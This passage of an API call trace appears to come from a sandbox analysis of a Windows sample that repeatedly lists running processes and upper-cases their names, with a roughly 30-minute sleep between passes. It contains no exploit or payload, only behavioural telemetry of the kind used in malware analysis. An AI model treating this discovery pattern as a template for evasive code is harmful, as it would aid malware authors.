| out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0251.745] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0251.745] lstrlenW (lpString="unusual.exe") returned 11 [0251.745] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0251.745] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0251.745] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0251.745] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0251.746] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0251.746] lstrlenW (lpString="pacific.exe") returned 11 [0251.746] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0251.746] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0251.746] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0251.746] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0251.746] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0251.746] lstrlenW (lpString="phantom.exe") returned 11 [0251.746] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0251.746] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0251.746] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0251.746] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.747] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0251.747] lstrlenW (lpString="audiodg.exe") returned 11 [0251.747] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0251.747] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0251.747] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0251.747] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0251.748] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0251.748] lstrlenW (lpString="SCN0tification.exe") returned 18 [0251.748] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0251.748] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0251.748] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0251.748] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.749] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0251.749] lstrlenW (lpString="svchost.exe") returned 11 [0251.749] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0251.749] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.749] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.749] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.750] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0251.750] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0251.750] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0251.750] PathFindFileNameW (pszPath="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0251.750] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WMIPRVSE.EXE" | out: lpString1="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0251.750] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0251.750] CloseHandle (hObject=0x2c4) returned 1 [0251.750] Sleep (dwMilliseconds=0x1b7740) [0261.756] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2dc [0261.772] Process32FirstW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.776] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0261.777] lstrlenW (lpString="[System Process]") returned 16 [0261.777] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0261.777] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0261.777] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0261.777] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.779] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0261.779] lstrlenW (lpString="System") returned 6 [0261.779] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0261.779] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0261.779] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0261.780] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.783] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0261.783] lstrlenW (lpString="smss.exe") returned 8 [0261.783] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0261.783] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0261.783] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0261.783] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.784] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0261.784] lstrlenW (lpString="csrss.exe") returned 9 [0261.784] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0261.784] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0261.784] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0261.784] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.788] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0261.788] lstrlenW (lpString="wininit.exe") returned 11 [0261.788] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0261.788] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0261.788] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0261.788] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.789] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0261.789] lstrlenW (lpString="csrss.exe") returned 9 [0261.789] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0261.789] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0261.789] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0261.789] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.790] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0261.790] lstrlenW (lpString="winlogon.exe") returned 12 [0261.790] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0261.790] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0261.790] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0261.790] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.791] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0261.791] lstrlenW (lpString="services.exe") returned 12 [0261.791] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0261.791] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0261.791] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0261.791] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.792] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0261.792] lstrlenW (lpString="lsass.exe") returned 9 [0261.792] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0261.792] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0261.792] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0261.792] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.793] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0261.793] lstrlenW (lpString="svchost.exe") returned 11 [0261.793] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0261.793] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.793] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.793] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.794] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0261.794] lstrlenW (lpString="svchost.exe") returned 11 [0261.794] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0261.794] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.794] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.794] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.795] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0261.795] lstrlenW (lpString="dwm.exe") returned 7 [0261.795] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0261.795] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0261.795] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0261.795] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.796] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0261.796] lstrlenW (lpString="svchost.exe") returned 11 [0261.796] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0261.796] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.796] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.796] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.797] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0261.797] lstrlenW (lpString="svchost.exe") returned 11 [0261.797] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0261.797] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.797] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.797] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.798] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0261.798] lstrlenW (lpString="svchost.exe") returned 11 [0261.798] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0261.798] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.798] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.798] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.799] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0261.799] lstrlenW (lpString="svchost.exe") returned 11 [0261.799] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0261.799] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.799] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.799] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.799] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0261.799] lstrlenW (lpString="svchost.exe") returned 11 [0261.799] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0261.799] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.799] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.800] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.800] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0261.800] lstrlenW (lpString="svchost.exe") returned 11 [0261.800] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0261.800] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.800] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.800] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.801] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0261.801] lstrlenW (lpString="spoolsv.exe") returned 11 [0261.801] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0261.801] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0261.801] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0261.801] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.802] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0261.802] lstrlenW (lpString="svchost.exe") returned 11 [0261.802] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0261.802] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.802] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.802] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0261.803] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0261.803] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0261.803] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0261.803] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0261.803] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0261.803] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.803] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0261.803] lstrlenW (lpString="svchost.exe") returned 11 [0261.803] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0261.803] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.803] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.803] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0261.804] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0261.804] lstrlenW (lpString="sihost.exe") returned 10 [0261.804] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0261.804] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0261.804] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0261.804] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0261.805] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0261.805] lstrlenW (lpString="taskhostw.exe") returned 13 [0261.805] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0261.805] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0261.805] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0261.805] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.805] lstrcpyW (in: 